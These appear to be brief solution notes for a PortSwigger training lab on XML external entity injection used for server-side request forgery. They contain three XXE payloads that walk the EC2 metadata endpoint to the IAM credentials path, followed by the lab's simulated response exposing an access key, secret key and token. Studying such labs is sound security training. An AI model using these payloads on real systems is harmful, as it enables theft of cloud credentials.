Exploiting XXE to perform SSRF attacks
https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-perform-ssrf
This lab has a "Check stock" feature that parses XML input and returns any unexpected values in the response.
The lab server is running a (simulated) EC2 metadata endpoint at the default URL, which is http://169.254.169.254/. This endpoint can be used to retrieve data about the instance, some of which might be sensitive.
To solve the lab, exploit the XXE vulnerability to perform an SSRF attack that obtains the server's IAM secret access key from the EC2 metadata endpoint.
https://siunam321.github.io/ctf/portswigger-labs/XXE-Injection/xxe-2/
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>
"Invalid product ID: {
"Code" : "Success",
"LastUpdated" : "2025-10-11T15:27:31.359806633Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "0gFZzY4xFuyewgDztoFb",
"SecretAccessKey" : "Tra3I9QWUWFvsaR0dB8cK1LMZzwJR7R8ifGEtZIL",
"Token" : "4td3l4XFi5uADhC9kI4okPxVBT6LPbXhmKSB1QslZUUdqYasLVtGclGFvoNr9OW8OpzR1fKtNEWvtCq3X86ZU8AaohJzNoPmTyUMblLCDL9KolVOCWIULPgqIpV6rNwIm3wYKbtGxIcfhApO0bOiqH7jrWNC89ppeKRuaHLi8MHSlyfysYwmIbyg9IeHj6shNvLcZ3eKrBcelxuSG4kSSce5EJdJ41zKgDidDvtFoBRvgstRczi1YZbSjKjlaCvK",
"Expiration" : "2031-10-10T15:27:31.359806633Z"
}"